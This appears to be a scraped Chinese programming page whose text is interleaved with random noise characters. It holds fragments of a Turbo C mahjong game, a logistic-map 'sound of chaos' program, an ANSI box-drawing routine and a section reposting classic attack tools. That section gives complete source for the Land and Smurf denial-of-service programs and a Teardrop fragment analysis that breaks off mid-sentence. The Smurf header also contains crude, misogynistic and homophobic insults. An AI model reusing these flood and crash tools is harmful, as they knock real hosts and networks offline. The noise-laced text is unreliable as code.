kkkk++;
}
2 k. H1 {" Q( q+ b8 @. Nelse
m[computer.pp[kkk].number].data1=1;
kkk++;
}
kkk=0;
computer.m=computer.m-1;
8 E$ t* q3 I% Awhile(kkk&lt;=computer.m)
{
4 f4 H* B. p- p3 Jcomputer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
1 @+ J' k3 `; b}
fillRectangle(0,0,320,30,0);
n=computer.m;
ll=0;
5 {0 |% m+ I6 I0 D, g+ Fzy=0;
; |0 I: c( u; Pwhile(ll&lt;=n)
{
8 m9 s0 \; A$ {zy=zy+20;
6 S: `- T. k9 a6 e" b' Hshowybmp(ll);
ll++;
}

getch();
sing=0;
9 e; R" |: ~; I5 Y; U0 Q4 }sing1=1;
}
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
{
kk=0;
& V* g# J8 S4 b6 U- d& eh=me.pp[every].number;
  s( b) n5 P, _, vm[h].data1=1; /*此牌已经无用*/
if(sing1!=1)
" b! ?" _. a/ p# _. M$ N, L( ^{
zyy=zyy+9280+20;
* t; c, X5 S% ]; C8 Gshowbmpd(every);
" {" Y# f7 [, l  p5 ~7 Q! E7 a+ Tzyy=zyy-9280;
}
+ R4 r" v/ {( \. |+ L+ {while(kk!=1)
{
4 F; V! A1 F! E  U! ?temp=random(136);
6 i% c5 N/ G3 @% P; rif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
: w/ W2 u, v! e" e9 P4 F! mme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
) K' P0 A( L* W. V6 Dme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
me.pp[every].number=temp; /*第几张，用来排序*/
m[temp].data2=1; /*判断牌是谁的*/
( I! Q4 K, o/ B  i2 z- rkk=1;
}
" D3 b  t. J. ^& D1 h' Yif(kk==0) /*判断如果又选择了，就从新再选*/
4 d& \: z1 `& L$ n8 R7 l# z* okk=0;
5 d1 l6 M- k, D  v% |$ [}
; W3 N9 W+ C8 Y* e}
sing=0;
sing1=0;
+ |& Z( ^! ~! Omelipai();
n=13;
z1=54400;
l=0;
g=z;
while(l&lt;n)
/ V1 B+ G" H5 F) G& e/ N0 l; h  Z{ z=0;
$ }2 p9 m1 Y/ A7 i2 g/ P* I. J' Uz1=z1+20;
showbmp(l);
/ a. o& j4 Q. s& k  g2 Nl++;
# F+ k% u: H( N: O* E}
z1=0;
z=g;
$ c: m9 l) j  O& r* d% P}
3 \" k, X' r# K; E" mkeyy=0;
( w# f9 W0 G/ V}
6 Y7 ?& Z+ L6 Z( O
" B% g2 B. j5 u7 V- c, fgetch();
OUTVGA;
3 n9 r* e# y; C! L6 F}
</P></DIV>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>　　本世纪70年代初，美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型： χ[n＋1]=k＊χ[n]＊(1－χ[n])
: \0 a6 Y& u: C. ^; H: i</P><>　　其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值，然后不停地迭代，人们发现随着k值的不同，得到的序列χn 有许多有趣的现象。当k值介于0与1之间时，χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k，当k值大于3时，经过一定次数的迭代后χ[n]在2个值之间交替变化，k值增加到3.449附近时，交替变化值又变为4个。继续增加k值，χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍，终于一片混沌。但当k值在3.835附近时，经过一定次数的迭代后，χ[n]非常简单地在3个值之间交替变化，接着又迅速依3→6→12的次序迅速增长。如此反复，在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示：
9 f$ m: F# j5 _
' @& g6 d  A. a7 M" p  w　　为了体现这种复杂之中的无穷奥妙，下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率，设定不同的k值，我们就可以聆听到混沌的声音。
3 b; @) j% R& f5 I0 Z) J6 a　　<FONT color=#009900>＃include <DOS.H>
7 _7 t4 T; M2 @* k! A4 n　　＃include <STDIO.H>
　　main(){
- T7 }0 U: d9 T  c6 m　　int fMin=20,fMax=16000; /＊fMin代表最低频率，fMax代表最高频率＊/
( _7 \" F: \2 J　　int fDis,i,j; /＊fDis代表最高频率和最低频率之间的差值＊/
　　/＊i,j用于循环记数＊/
; k* h8 X' F" u7 \! N) r4 y) _　　float x=0.1,k; /＊x代表x[n]的大小，设定其初始值为0.1，即x[0]=0.1＊/
. J( v$ K( x! ?5 v　　fDis=fMax－fMin;
　　for(j=1;;j＋＋){
9 M  x* {. @0 k$ W( n& x! z　　printf("lease input The value of k(1－4.0)\n"); /＊输入k值＊/
, C6 w( T! v, f4 [" R　　printf("If you want to quit,Please input:0\n"); /＊如果k=0退出＊/
! f) l7 T' _$ j4 L" Z- k$ o　　scanf("％f",＆k);
* V3 R4 ]) J; @+ G　　if (k==0) break;
* E- D* Y" S4 z- C' ^, S# O0 p; i　　for(i=1;i&lt;100;i＋＋) /＊去除开始的100个点＊/
- r) R  b% E& r# H" W: T& s　　x=k＊x＊(1－x);
' r$ C" I9 u1 l/ e' R4 d) O　　for (i=1;i&lt;100;i＋＋){
; H4 v. P  r# w4 p　　x=k＊x＊(1－x); /＊计算x的值＊/
　　sound(x＊fDis＋20); /＊用x的值控制PC喇叭的发音频率＊/
4 ?& G7 \1 l/ }/ h9 _1 A4 t　　delay(1000); }
* v: s4 @3 n0 f6 t3 z( d　　nosound(); }}
　　</FONT>执行上面的小程序时，k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时，喇叭里传出的只有一个音调，重复又烦人。当k值稍稍大于3时，便开始有了韵律：so－mi－so－mi…。k值增加到3.449时，变成了so－fa－la－mi－so－fa－la－mi…，再增加k值，韵律更加复杂，终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时，音调又变成了mi－so－ti－mi－so－ti…，再增加k值又迅速地变得更加复杂。
不停地改变k值，仔细聆听，会听到混沌中的无限奥妙。</P></DIV>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
  h5 w. Z$ G$ d: }; L6 c<FONT color=#009900>/*
*
* Short driver module
/ ~8 o: O* q- F2 a& I' p+ X9 N, @, u*
*/</FONT></P><><FONT color=#009900>main()
{
) a6 j* h* i0 o, Tclrscr();
box(1,1,23,79);
box(2,2,21,77);
box(3,3,19,75);
% A; ~1 u0 @3 obox(4,4,17,73);
. `- {9 ^" `6 ?! J  Ybox(5,5,15,71);
$ j$ n( g2 k+ j# }/ q) g/ a0 |box(6,6,13,69);
box(7,7,11,67);
$ _. r9 [; f4 b$ P; fbox(8,8,9,65);
6 J2 h. e- w( }( E' P5 C0 nbox(9,9,7,63);
0 [$ K3 [4 k) _( R( Pbox(10,10,5,61);
box(11,11,3,59);
box(12,12,1,57);
, O) q2 ?, |2 y) u+ Z  \* ?, vposcur(24,1);
}</FONT></P><><FONT color=#009900>/************************************************************
* BOX *
% D3 ?0 r: M1 Y" J9 o8 M% Q*----------------------------------------------------------*
* Written by: Jeff Ebert 7/01/87 *
1 L; z) k5 [5 Z  L( y+ K* Modified by: xxxxxxxxxx *
. o; c9 u4 A6 ~) g. R* *
. O" _! Z6 t7 U, i* Please modify me! *
* Possible Enhancements include but are not limited t *
% w3 O! p& Q# I0 _) I7 M# R+ {* 1) Variable box character styles [1 line or 2] *
* 2) Error checking *
* 3) Color options *
2 t; H) k1 E3 E* *
/ }" j. [5 ^' @4 W, B* *
* This function builds a simple double frame for a menu. *
  F/ j* V/ u7 a5 p$ x& r* The function is passed the parameters for the upper *
* left corner row, upper left corner column the height *
* of the frame and the width. *
( z( H, n9 ~( M: W% P* *
$ _) F5 |  x: T6 t, N+ l; Y: D************************************************************/
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
- _$ a6 w4 G, [' c! a$ P. Z; N#define URCOR 187
#define LLCOR 200
#define LRCOR 188
#define VBAR 186
! k# ?# Q1 T6 w$ _- f( d, X  K% ~#define HBAR 205
/ z$ V3 W* `4 l3 l$ d7 `#define ESC 27</FONT></P><><FONT color=#009900>
box(row, col, hgt, wdth)
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
1 p0 q; x( T; }  Y: b9 z6 eint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
putchar(ULCOR);
for(x = col + 1; x &lt;=(col + wdth -1); x++)
putchar(HBAR);
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
poscur(x,col);
% u2 x- u2 W8 xputchar(VBAR);
. j7 v! _  r% @7 }1 d5 Mposcur(x,col+wdth);
* P4 P, _$ ~7 [2 g* m) G4 Wputchar(VBAR);
}
poscur(x,col);
putchar(LLCOR);
for(x= col + 1; x &lt;=(col + wdth -1); x++)
0 @, H' w) a9 y' l/ B( K. tputchar(HBAR);
putchar(LRCOR);
1 j4 L  A( M8 T1 P}</FONT></P><><FONT color=#009900>/********************************************************
9 `, R! N7 b( f$ u4 e- R7 G5 H0 w* POSCUR *
8 r9 @5 G5 F) Z. Q5 d0 j*------------------------------------------------------*
* This function positions the cursor at the specified *
9 ^* t2 I7 k* H0 }: K  a* x,y coordinate. It uses the ANSI standard ESCAPE *
* sequence to produce the desired effect. Its not the *
* fastest way to position the cursor, but perhaps the *
* most portable. *
* *
: p0 g0 ~: B3 N9 g  O, e********************************************************/
' O( R0 _8 E2 p' b% h; P/ z+ Kposcur(xcor,ycor)
' H! L. F) q' I5 z! a3 _int xcor,ycor;
2 D7 l* w, S$ F" b4 q6 ~# \! @{
printf("%c[%d;%dH",ESC,xcor,ycor);
}</FONT></P><><FONT color=#009900>
/********************************************************
+ a2 X: X. v: s8 Z0 h  O9 K. Y* CLRSCR *
*------------------------------------------------------*
* This function positions the cursor at the specified *
* x,y coordinate. It uses the ANSI standard ESCAPE *
/ [* \; J% [) R8 Y/ N8 Q. b+ v* sequence to produce the desired effect. Its not the *
3 J# C" `) _2 M6 F& C: ~* fastest way to position the cursor, but perhaps the *
7 `( S# L3 `/ B6 \* most portable. *
* *
/ f5 F  k7 e- s3 T6 g( G0 C********************************************************/
clrscr()
5 L! o% ?/ `6 f4 M+ m" d{
! z9 ^) ?1 z1 x! J- nprintf("%c[2J",ESC);
}</FONT>
</P>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
这里有一些是老的，现在看来并没有用，但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞，以其IP地址和端口向自
" Z, |2 B4 G  V/ t( L" Y7 T己的同一个端口发起连接（发SYN），Win95即会崩溃。</P><>
<FONT color=#009900>/* land.c by m3lt, FLC
# j, Y2 ~9 Z, d- E# L6 Scrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
7 f: P- P& g3 ?/ A# g4 W#include <NETDB.H>
#include <ARPA inet.h>
8 }/ `9 @+ \0 H#include <NETINET in.h>
+ _1 o: }' |) r9 b; n9 F) I6 i#include <SYS types.h>
, v- r3 o$ i. y) P#include <SYS socket.h>
) E' i  ~( r" D$ @#include <NETINET ip.h>
#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
struct pseudohdr
! \8 ?- Q! }! }' M9 [{
& J( Y3 L- r9 ]5 E9 ?struct in_addr saddr;
struct in_addr daddr;
$ [- M8 @. O" K  Z, y' f! C7 nu_char zero;
u_char protocol;
u_short length;
6 Z- r" W8 b: b' b+ O: Y3 ^4 r: Astruct tcphdr tcpheader;
# V% |% z% `9 i  ?% m" l, h4 J};</FONT></P><><FONT color=#009900>//计算IP校验和
$ Y9 y5 ?- E" fu_short checksum(u_short * data,u_short length)
{
' F: j! o0 z2 q0 |6 Wregister long value;
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
/ P3 [5 w6 H# \6 qvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
}</FONT></P><><FONT color=#009900>
int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct hostent * hoste;
# V( x" O, S2 a$ T- Qint sock;
0 x( X- y, x$ a( W( `8 ~; ~; Gchar buffer[40];
4 v& [, I; r# w5 z+ estruct iphdr * ipheader=(struct iphdr *) buffer;
2 K! i4 `8 V+ G" ?( |" Gstruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
{
( |/ D# f) G, k3 }fprintf(stderr,"usage: %s IP port\n",argv[0]);
return(-1);
2 s8 n: @, S( s}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
% ?, P6 p2 d# z2 m- }6 N: d+ {sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
1 ]- {) Z/ r7 s* @0 ibcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
2 C; u  y' N( O4 b7 R& b{
0 t6 u8 x6 [% G1 l! c* k7 Zfprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
, B+ P/ Z& s1 h1 \}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
% m$ O$ X+ |& |) H1 q{
fprintf(stderr,"unknown port %s\n",argv[2]);
- d7 {6 `9 l% A1 m2 @' H4 l" Breturn(-1);
4 i5 H7 a* t3 Z/ y( V' T}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
+ q- p- Z7 L( ~$ ~: Q5 Rif((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
8 t5 _; v3 d, Z0 n' H$ H}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader-&gt;version=4;
4 }8 a, g, Q9 z/ {ipheader-&gt;ihl=sizeof(struct iphdr)/4;
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader-&gt;id=htons(0xF1C);
3 `/ M; y7 }  ?/ q) f9 aipheader-&gt;ttl=255;
# c! O# {1 c9 ?0 _  yipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
( W2 M% G0 m$ o- T# ]ipheader-&gt;saddr=sin.sin_addr.s_addr;
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
4 Z' Y( x, Z+ \4 y8 e) c1 @1 @tcpheader-&gt;th_sport=sin.sin_port;
8 t4 w0 H" ^3 @6 F3 E; w$ P" p8 stcpheader-&gt;th_dport=sin.sin_port;
tcpheader-&gt;th_seq=htonl(0xF1C);
4 L3 |* R/ c( q- p( X) G" Q% mtcpheader-&gt;th_flags=TH_SYN;
, w: Z' p5 [) ^% Q/ |: Itcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
5 b7 ]! W/ i/ a  }. Z/ stcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
4 U/ F6 o" [6 {1 K) g3 ybcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
{
6 j. ]8 r+ ~1 |3 A3 i3 {fprintf(stderr,"couldn't send packet\n");
4 a5 o1 A- @( l, [7 e+ Mreturn(-1);
. W& O+ E2 h' v0 u4 }/ H+ j}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
return(0);
}</FONT></P><>
2 Smurf
9 o  T$ `! s- l; H1 v: P  Msmurf攻击是很简单的，它有一些IP（广播地址）地址列表，发出了一些伪造的数
据包（ICMP echo request）从而导致一场广播风暴，可以使受害主机（使它成为伪造包
- R* L2 }3 P2 J* m$ T的源地址）崩溃。</P><>受害者有两种：中间的设备（bounce sites 交换机或路由器）和被伪装的IP（那些
icmp echo的包都被发给它）。这种攻击依赖于路由器把一个广播地址转化为一广播桢
（如Ethernet, FF:FF:FF:FF:FF:FF），RFC中允许这种转换，但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播（IP）到第二层的广播（Ethernet）。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在，但在路由器的上述配置会使这变
成不可能（没有WINS服务器时）。</P><P>/*
*
* f7 ^, |+ J8 t; Y, r! g1 M$ e: [) X* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
6 f8 h$ R/ A9 e' e4 b# U" a*
: E' D, `9 ^3 F! ]: ~# \* spoofs icmp packets from a host to various broadcast addresses resulting
* in multiple replies to that host from a single packet.
*
* mad head t
8 K& Z; @8 u2 E5 H" Q& O* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
% @  f& x- L6 M+ H* MissSatan for swallowing, napster for pimping my sister, the guy that
) L% E, ]; P, r3 @6 b, B; p, h* invented vaseline, fyber for trying, knowy, old school #havok, kain
: k5 k; u1 C) ]* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
+ |8 z! V7 [2 V$ }% D* have missed (you know who you are).
*
% T; m. N% @9 E% q0 G3 ~* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
5 w! J0 m7 V/ L* thing he is (he's -almost- as stubborn as me, still i managed to pick up
* half the cheque).
*
* and a special hi to Todd, face it dude, you're fucking awesome.
*
6 ^. R9 F: R& M& N, x  I/ X7 N* mad anal t
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
* because they plain suck, Rolex for being a twit, everyone that
1 D- H7 I7 H- T# O; n9 N* trades warez, Caren for being a lesbian hoe, AcidKill for being her
* partner, #cha0s, sedriss for having an ego in inverse proportion to
. `( S7 b1 g$ T/ x' [7 u' q* his penis and anyone that can't pee standing up -- you don't know what
* your missing out on.
& i1 f# x9 R& x5 l& O" X*
7 T5 c2 b2 C3 ]! |2 W' v0 A; F/ v+ x* and anyone thats ripped my code (diff smurf.c axcast.c is rather
* interesting).
8 k4 W; R) u- \*
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
* Robbins for trying to steal my girlfriend. Not only did you show me
' l' Y- Z6 a' z' F  L1 o* no respect but you're a manipulating prick who tried to take away the
' ?* R. c- {% w1 k* most important thing in the world to me with no guilt whatsoever, and
- y6 W2 y% l% M& ~* j- {6 k* for that I wish you nothing but pain. Die.
*
" a8 v7 R0 ]9 B( r* disclaimer:
/ I3 C: ~  t# T7 ]% }( g3 b  y) E3 ]* I cannot and will not be held responsible nor legally bound for the
* malicious activities of individuals who come into possession of this
' p4 z5 F3 i- D* program and I refuse to provide help or support of any kind and do NOT
3 H- d( l# H9 X7 ^, U- C* condone use of this program to deny service to anyone or any machine.
. }9 C8 v; Q8 l- \4 N* This is for educational use only. Please Don't abuse this.
*
5 _9 t  t3 T) T- T6 S* Well, i really, really, hate this code, but yet here I am creating another
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
! |: X1 z# G) W; {0 f* like most programmers don't like seeing bugs in their code. I saw a few
7 e( j; `% F0 R$ Q/ H$ D9 E* things that should have been done better or needed fixing so I fixed
* them. -shrug-, programming for me as always seemed to take the pain away
* ...
/ p/ \5 w% W* y+ x: R*
*
/ O9 P+ M: s1 g0 D. s0 b( z9 ^" j$ ?*/</P><P>#include <SIGNAL.H>
! ^. Z+ Z9 L" q' _8 G7 E#include <STDIO.H>
, w% {8 l; Z0 M3 @, {#include <STDLIB.H>
- h8 l# ~3 ?3 n+ z9 M% W#include <SYS socket.h>
#include <SYS types.h>
3 s8 Q" }. c# k; v9 z#include <NETINET in.h>
$ z* ~% l  L, e6 L. |& x#include <NETINET ip.h>
#include <NETINET ip_icmp.h>
#include <NETDB.H>
) B, J' h, [+ h7 M" [" B#include <CTYPE.H>
- \/ C1 A  a0 b4 y2 X# S' _  Q#include <ARPA inet.h>
: w9 T  w0 V/ G" `4 r+ l! ~#include <UNISTD.H>
#include <STRING.H></P><P>void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
8 `, v" F  w6 }, Y+ H, @3 Y& u' ounsigned short in_chksum(u_short *, int);</P><P>/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
" a2 H- \0 u# s{
9 x  c/ P! ?( A8 ustruct sockaddr_in sin;
struct hostent *he;
# j) T( `: \* O* Q4 QFILE *bcastfile;
5 i# g9 i8 T6 Y- oint i, sock, bcast, delay, num, pktsize, cycle = 0, x;
char buf[32], **bcastaddr = malloc(8192);</P><P>banner();
9 \% N% F5 F6 T6 Z4 K: `' j' qsignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
" Y/ D# v' i- I' F7 ]& {7 |perror("resolving source host");
$ ?9 Y: X  [) \( B4 lexit(-1);
}
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
delay = atoi(argv[4]);
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
perror("opening bcast file");
exit(-1);
}
6 J" r! X+ w4 Ux = 0;
while (!feof(bcastfile)) {
! B! b+ ^1 M) C7 L& F- g' ~fgets(buf, 32, bcastfile);
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
for (i = 0; i &lt; strlen(buf); i++)
& ^6 K7 l; z, V( Q! V& x6 gif (buf == '\n') buf = '\0';
4 J& }1 S! l# I) D) Z4 Wbcastaddr[x] = malloc(32);
strcpy(bcastaddr[x], buf);
+ G# v& D. \+ z) v7 Mx++;
}
3 ]) T- }- N; a( obcastaddr[x] = 0x0;
fclose(bcastfile);</P><P>if (x == 0) {
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
5 f1 X& D! w! `; a/ O6 L# Hexit(-1);
}
if (pktsize &gt; 1024) {
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
4 w, k. G  \+ Fexit(-1);
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
perror("getting socket");
$ `' W4 L# v5 b- u( pexit(-1);
}
# _. y; Z  X$ P( q' {setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
) E/ B! r% C8 ]6 g: r" qif (!(i % 25)) { printf("."); fflush(stdout); }
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
cycle++;
+ K# C7 t$ Z* V. Xif (bcastaddr[cycle] == 0x0) cycle = 0;
usleep(delay);
" ]" ]- ~+ ?- R6 B; D}
0 Z* }4 T% c1 yputs("\n\n");
- H9 G5 ]- X2 L; n( ^' j4 yreturn 0;
3 M! p! f. u. `3 p& w& {) z7 W1 y% ~}</P><P>void banner (void)
% G# M# P1 E1 O% e6 h1 S{
; m# Z, G$ c4 L8 t- W% nputs("\nsmurf.c v4.0 by TFreak\n");
}</P><P>void usage (char *prog)
0 d" d& L) r% A/ ~{
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
6 D+ G0 q7 @! V3 J" F"<NUM packets> <PACKET delay><PACKET size>\n\n"
"target = address to hit\n"
"bcast file = file to read broadcast addresses from\n"
0 W% p0 e0 l2 ^+ {& V3 P+ F0 E"num packets = number of packets to send (0 = flood)\n"
& k7 `9 F: H5 r8 B"packet delay = wait between each packet (in ms)\n"
2 d: N7 G* b; Z1 o( O# ^"packet size = size of packet (&lt; 1024)\n\n", prog);
* w7 V, w( |9 u+ K* D* V' }exit(-1);
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
struct iphdr *ip;
# {# Q+ ]$ N( D' M6 kstruct icmphdr *icmp;
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip = (struct iphdr *)packet;
" z* c, b/ d, f/ W7 M% a; qicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
. e' c3 O7 J0 ?ip-&gt;ihl = 5;
  i, `1 {( Q% T. [! v! @3 D. n1 mip-&gt;version = 4;
" M: V/ m( @7 L' I  ~# lip-&gt;ttl = 255;
ip-&gt;tos = 0;
ip-&gt;frag_off = 0;
4 D7 ~) M- ^- v- N6 q& l* T- fip-&gt;protocol = IPPROTO_ICMP;
0 X7 i$ L4 z; D( Lip-&gt;saddr = sin.sin_addr.s_addr;
ip-&gt;daddr = dest;
* W# l% v* K& i; \# fip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
: |$ I& B3 r2 c/ m  I! @icmp-&gt;type = 8;
icmp-&gt;code = 0;
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
% E5 N  j9 U6 ^3 q5 v}</P><P>void ctrlc (int ignored)
{
7 ^  O: r, f# `- E6 u  `puts("\nDone!\n");
' e# A0 c; t0 dexit(1);
/ D/ O8 d3 |1 i( i6 }2 F1 n. z}</P><P>unsigned short in_chksum (u_short *addr, int len)
1 ~) J6 G6 w' w/ T/ I" \9 g{
) F( |: j6 h8 Jregister int nleft = len;
register int sum = 0;
0 X" |0 l: F; P, K* w6 yu_short answer = 0;</P><P>while (nleft &gt; 1) {
7 Y: o& K1 y; X4 dsum += *addr++;
$ Z9 q. s) t# _* H4 C& W4 bnleft -= 2;
/ D* A& O8 T5 {! F9 l* T}</P><P>if (nleft == 1) {
4 k6 O; n! P8 |( l2 \% [3 M*(u_char *)(&amp;answer) = *(u_char *)addr;
3 n9 E# c& K2 S. _" j8 @2 H7 S3 Fsum += answer;
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
sum += (sum &gt;&gt; 16);
. o) Y! ?% V5 f" a0 ~$ z  Uanswer = ~sum;
return(answer);
, j' i1 b- D' q# b6 j}</P><P>
' [; x9 D" K/ E5 N8 s3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中：</P><P>在循环中重组ip包：
- G9 O; F$ Q7 Y; Gfp = qp-&gt;fragments;
while(fp != NULL)
& P8 y' H% ^! H- g# Z, K. @9 X{
1 u% j& r# p* I* k% cif(count+fp-&gt;len &gt; skb-&gt;len)
9 E5 z8 i3 H4 ^; S% I8 w/ S{
9 P( r1 H5 ], lerror_to_big;
) J6 g4 @) p2 w6 x; y! I}
' Z0 H5 S1 \  b6 X5 A0 tmemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
8 R; n' ~$ M( `( h, f+ R: Scount += fp-&gt;len;
fp = fp-&gt;next;
9 ^3 [3 M& s; k. m. X}
4 M" M1 o! i, q% h' _+ x这里只检查了长度过大的情况，而没有考虑长度过小的情况，
如 fp-&gt;len&lt;0 时，也会使内核拷贝过多的东西。</P><P>计算分片的结束位置：
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的）
是这样处理的：
: s& y9 m: d0 ]+ u$ z/ Yif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
+ r% |) a/ H: R; ]6 W. v{
i = prev-&gt;end - offset;
offset += i; /* ptr into datagram */
0 \; V$ x& ^8 C( E& J( r4 i: |0 Fptr += i; /* ptr into fragment data */
* Q; Q5 a1 z* [3 u8 e$ D4 |# M}</P><P>/* Fill in the structure. */
4 j# R' a/ Z3 L6 B& ofp-&gt;offset = offset;
4 i: j2 y8 z. l- \& \7 J% wfp-&gt;end = end;
" v9 `6 y* p$ H- Hfp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞：
第一个碎片：mf=1 offset=0 payload=20
敌二个碎片：mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
